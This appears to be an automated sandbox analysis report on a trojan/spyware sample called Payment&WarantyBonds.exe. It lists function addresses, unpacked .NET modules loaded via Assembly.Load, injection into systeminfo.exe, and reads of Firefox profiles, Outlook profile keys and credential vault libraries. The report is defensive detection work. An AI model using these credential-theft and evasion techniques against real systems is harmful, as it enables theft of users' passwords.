Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0482EE26	7_2_0482EE26
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_04782E90	7_2_04782E90
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047E4F40	7_2_047E4F40
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_04790F30	7_2_04790F30
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047B2F28	7_2_047B2F28
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_04812F30	7_2_04812F30
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_04762FC8	7_2_04762FC8
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047EEFA0	7_2_047EEFA0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_04772840	7_2_04772840
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0477A840	7_2_0477A840
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0479E8F0	7_2_0479E8F0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047568B8	7_2_047568B8
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_04786962	7_2_04786962
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0483A9A6	7_2_0483A9A6
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047729A0	7_2_047729A0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0476EA80	7_2_0476EA80
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_04826BD7	7_2_04826BD7
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0482AB40	7_2_0482AB40
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_04761460	7_2_04761460
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0482F43F	7_2_0482F43F
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0480D5B0	7_2_0480D5B0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_04827571	7_2_04827571
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_048216CC	7_2_048216CC
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0482F7B0	7_2_0482F7B0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0481F0CC	7_2_0481F0CC
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0482F0E0	7_2_0482F0E0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_048270E9	7_2_048270E9
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047770C0	7_2_047770C0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0475F172	7_2_0475F172
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047A516C	7_2_047A516C
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0477B1B0	7_2_0477B1B0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0483B16B	7_2_0483B16B
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_048112ED	7_2_048112ED
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0478D2F0	7_2_0478D2F0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0478B2C0	7_2_0478B2C0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047752A0	7_2_047752A0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0475D34C	7_2_0475D34C
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0482132D	7_2_0482132D
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047B739A	7_2_047B739A
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047E9C32	7_2_047E9C32
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0482FCF2	7_2_0482FCF2
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_04773D40	7_2_04773D40
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0478FDC0	7_2_0478FDC0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_04821D5A	7_2_04821D5A
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_04827D73	7_2_04827D73
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_04779EB0	7_2_04779EB0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0482FFB1	7_2_0482FFB1
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0482FF09	7_2_0482FF09
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_04733FD2	7_2_04733FD2
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_04733FD5	7_2_04733FD5
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_04771F92	7_2_04771F92
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047DD800	7_2_047DD800
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047738E0	7_2_047738E0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_04779950	7_2_04779950
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0478B950	7_2_0478B950
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_04805910	7_2_04805910
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047E3A6C	7_2_047E3A6C
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_04811AA3	7_2_04811AA3
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0480DAAC	7_2_0480DAAC
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0481DAC6	7_2_0481DAC6
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_04827A46	7_2_04827A46
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0482FA49	7_2_0482FA49
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047B5AA0	7_2_047B5AA0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047ADBF9	7_2_047ADBF9
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047E5BF0	7_2_047E5BF0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0482FB76	7_2_0482FB76
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0478FB80	7_2_0478FB80
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_00561CA0	7_2_00561CA0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0055CBF7	7_2_0055CBF7
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0055CC00	7_2_0055CC00
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0055CE20	7_2_0055CE20
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0055AEA0	7_2_0055AEA0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_00565300	7_2_00565300
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_005634F9	7_2_005634F9
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_00563540	7_2_00563540
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0056353B	7_2_0056353B
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0057B8D0	7_2_0057B8D0
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0465E73C	7_2_0465E73C
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0465E284	7_2_0465E284
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0465E3A3	7_2_0465E3A3
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0465D808	7_2_0465D808

Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: String function: 0149EA12 appears 86 times
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: String function: 0141B970 appears 250 times
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: String function: 01477E54 appears 93 times
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: String function: 014AF290 appears 103 times
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: String function: 01465130 appears 36 times
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: String function: 047A5130 appears 58 times
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: String function: 047EF290 appears 103 times
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: String function: 047DEA12 appears 86 times
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: String function: 0475B970 appears 262 times
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: String function: 047B7E54 appears 99 times

Source: Payment&WarantyBonds.exe, 00000000.00000002.1747632834.0000000004405000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs Payment&WarantyBonds.exe
Source: Payment&WarantyBonds.exe, 00000000.00000002.1752667969.000000000B480000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs Payment&WarantyBonds.exe
Source: Payment&WarantyBonds.exe, 00000000.00000000.1682657337.00000000006FC000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamejmUl.exe8 vs Payment&WarantyBonds.exe
Source: Payment&WarantyBonds.exe, 00000000.00000002.1745782038.0000000000C1E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Payment&WarantyBonds.exe
Source: Payment&WarantyBonds.exe, 00000002.00000002.2062877202.0000000000EB8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesysinfo.exej% vs Payment&WarantyBonds.exe
Source: Payment&WarantyBonds.exe, 00000002.00000002.2062877202.0000000000EE5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesysinfo.exej% vs Payment&WarantyBonds.exe
Source: Payment&WarantyBonds.exe, 00000002.00000002.2063188272.000000000151D000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Payment&WarantyBonds.exe
Source: Payment&WarantyBonds.exe	Binary or memory string: OriginalFilenamejmUl.exe8 vs Payment&WarantyBonds.exe

Source: Payment&WarantyBonds.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Payment&WarantyBonds.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.Payment&WarantyBonds.exe.448ca68.1.raw.unpack, pN57RL3xyXkW5ANnHQ.cs	Security API names: _0020.SetAccessControl
Source: 0.2.Payment&WarantyBonds.exe.448ca68.1.raw.unpack, pN57RL3xyXkW5ANnHQ.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Payment&WarantyBonds.exe.448ca68.1.raw.unpack, pN57RL3xyXkW5ANnHQ.cs	Security API names: _0020.AddAccessRule
Source: 0.2.Payment&WarantyBonds.exe.448ca68.1.raw.unpack, cILh9bHvx4dPN3VnUI.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Payment&WarantyBonds.exe.4514488.0.raw.unpack, cILh9bHvx4dPN3VnUI.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Payment&WarantyBonds.exe.4514488.0.raw.unpack, pN57RL3xyXkW5ANnHQ.cs	Security API names: _0020.SetAccessControl
Source: 0.2.Payment&WarantyBonds.exe.4514488.0.raw.unpack, pN57RL3xyXkW5ANnHQ.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Payment&WarantyBonds.exe.4514488.0.raw.unpack, pN57RL3xyXkW5ANnHQ.cs	Security API names: _0020.AddAccessRule
Source: 0.2.Payment&WarantyBonds.exe.b480000.4.raw.unpack, cILh9bHvx4dPN3VnUI.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Payment&WarantyBonds.exe.b480000.4.raw.unpack, pN57RL3xyXkW5ANnHQ.cs	Security API names: _0020.SetAccessControl
Source: 0.2.Payment&WarantyBonds.exe.b480000.4.raw.unpack, pN57RL3xyXkW5ANnHQ.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Payment&WarantyBonds.exe.b480000.4.raw.unpack, pN57RL3xyXkW5ANnHQ.cs	Security API names: _0020.AddAccessRule

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/2@18/14

Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Payment&WarantyBonds.exe.log

Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe

Mutant created: NULL

Source: C:\Windows\SysWOW64\systeminfo.exe

File created: C:\Users\user\AppData\Local\Temp\4648H9mUM

Source: Payment&WarantyBonds.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Payment&WarantyBonds.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: systeminfo.exe, 00000007.00000003.2251386954.0000000000976000.00000004.00000020.00020000.00000000.sdmp, systeminfo.exe, 00000007.00000002.4147496833.0000000000976000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Payment&WarantyBonds.exe

ReversingLabs: Detection: 23%

Source: unknown	Process created: C:\Users\user\Desktop\Payment&WarantyBonds.exe "C:\Users\user\Desktop\Payment&WarantyBonds.exe"
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process created: C:\Users\user\Desktop\Payment&WarantyBonds.exe "C:\Users\user\Desktop\Payment&WarantyBonds.exe"
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	Process created: C:\Windows\SysWOW64\systeminfo.exe "C:\Windows\SysWOW64\systeminfo.exe"
Source: C:\Windows\SysWOW64\systeminfo.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process created: C:\Users\user\Desktop\Payment&WarantyBonds.exe "C:\Users\user\Desktop\Payment&WarantyBonds.exe"	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	Process created: C:\Windows\SysWOW64\systeminfo.exe "C:\Windows\SysWOW64\systeminfo.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Source: C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Process created: C:\Windows\SysWOW64\systeminfo.exe "C:\Windows\SysWOW64\systeminfo.exe"

Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Windows\SysWOW64\systeminfo.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

.NET source code contains potential unpacker

Source: Payment&WarantyBonds.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Payment&WarantyBonds.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: sysinfo.pdb source: Payment&WarantyBonds.exe, 00000002.00000002.2062877202.0000000000EB8000.00000004.00000020.00020000.00000000.sdmp, oDnyHukDVUZk.exe, 00000006.00000002.4147696582.0000000000818000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sysinfo.pdbGCTL source: Payment&WarantyBonds.exe, 00000002.00000002.2062877202.0000000000EB8000.00000004.00000020.00020000.00000000.sdmp, oDnyHukDVUZk.exe, 00000006.00000002.4147696582.0000000000818000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: oDnyHukDVUZk.exe, 00000006.00000002.4147995475.0000000000A0E000.00000002.00000001.01000000.0000000C.sdmp, oDnyHukDVUZk.exe, 00000008.00000002.4147962601.0000000000A0E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: wntdll.pdbUGP source: Payment&WarantyBonds.exe, 00000002.00000002.2063188272.00000000013F0000.00000040.00001000.00020000.00000000.sdmp, systeminfo.exe, 00000007.00000002.4148681632.00000000048CE000.00000040.00001000.00020000.00000000.sdmp, systeminfo.exe, 00000007.00000003.2068016060.0000000004586000.00000004.00000020.00020000.00000000.sdmp, systeminfo.exe, 00000007.00000002.4148681632.0000000004730000.00000040.00001000.00020000.00000000.sdmp, systeminfo.exe, 00000007.00000003.2065768682.00000000043D0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Payment&WarantyBonds.exe, Payment&WarantyBonds.exe, 00000002.00000002.2063188272.00000000013F0000.00000040.00001000.00020000.00000000.sdmp, systeminfo.exe, systeminfo.exe, 00000007.00000002.4148681632.00000000048CE000.00000040.00001000.00020000.00000000.sdmp, systeminfo.exe, 00000007.00000003.2068016060.0000000004586000.00000004.00000020.00020000.00000000.sdmp, systeminfo.exe, 00000007.00000002.4148681632.0000000004730000.00000040.00001000.00020000.00000000.sdmp, systeminfo.exe, 00000007.00000003.2065768682.00000000043D0000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Source: 0.2.Payment&WarantyBonds.exe.b480000.4.raw.unpack, pN57RL3xyXkW5ANnHQ.cs	.Net Code: lF1lHEnjq2 System.Reflection.Assembly.Load(byte[])
Source: 0.2.Payment&WarantyBonds.exe.4514488.0.raw.unpack, pN57RL3xyXkW5ANnHQ.cs	.Net Code: lF1lHEnjq2 System.Reflection.Assembly.Load(byte[])
Source: 0.2.Payment&WarantyBonds.exe.39e0b90.2.raw.unpack, Uo.cs	.Net Code: _202A_202E_206E_206A_202B_206A_200E_200D_206F_200D_200C_200B_206E_202C_202B_200E_206A_202D_202A_202C_202E_206B_202C_202E_202D_206F_206C_200E_202D_206B_202D_206D_202A_200C_200C_200B_200C_202B_200D_202E_202E System.Reflection.Assembly.Load(byte[])
Source: 0.2.Payment&WarantyBonds.exe.72d0000.3.raw.unpack, Uo.cs	.Net Code: _202A_202E_206E_206A_202B_206A_200E_200D_206F_200D_200C_200B_206E_202C_202B_200E_206A_202D_202A_202C_202E_206B_202C_202E_202D_206F_206C_200E_202D_206B_202D_206D_202A_200C_200C_200B_200C_202B_200D_202E_202E System.Reflection.Assembly.Load(byte[])
Source: 0.2.Payment&WarantyBonds.exe.448ca68.1.raw.unpack, pN57RL3xyXkW5ANnHQ.cs	.Net Code: lF1lHEnjq2 System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 0_2_0B1504E8 push esp; ret	0_2_0B1504E9
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0040185B pushfd ; retf	2_2_0040187E
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_00426833 push edi; ret	2_2_0042683E
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_004148C0 push esp; retf	2_2_004148C1
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_004018BC pushad ; ret	2_2_004018D2
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_004031B0 push eax; ret	2_2_004031B2
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_004139BA pushfd ; ret	2_2_004139BB
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0041AA77 push edx; iretd	2_2_0041AA86
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_00418304 push eax; ret	2_2_00418305
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_00417BD1 push esi; ret	2_2_00417BDA
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0040D3BF push edx; ret	2_2_0040D3DA
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_00422562 push ss; retn 0000h	2_2_0042256A
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_00417E58 push ss; retf	2_2_00417E8D
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0041A6CB push edi; retf	2_2_0041A6DC
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_00401F0B pushfd ; retf	2_2_00401F0C
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0041771B push esi; ret	2_2_0041771D
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_0041473C push edi; retf	2_2_0041473E
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_004117B1 push ss; iretd	2_2_004117C5
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Code function: 2_2_014209AD push ecx; mov dword ptr [esp], ecx	2_2_014209B6
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047327FA pushad ; ret	7_2_047327F9
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0473225F pushad ; ret	7_2_047327F9
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0473283D push eax; iretd	7_2_04732858
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_047609AD push ecx; mov dword ptr [esp], ecx	7_2_047609B6
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_005710D9 push ss; retf	7_2_0057116B
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0055E25E push edx; retf	7_2_0055E25D
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0055E200 push edx; retf	7_2_0055E25D
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_00564568 push esi; ret	7_2_0056456A
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_0055E5FE push ss; iretd	7_2_0055E612
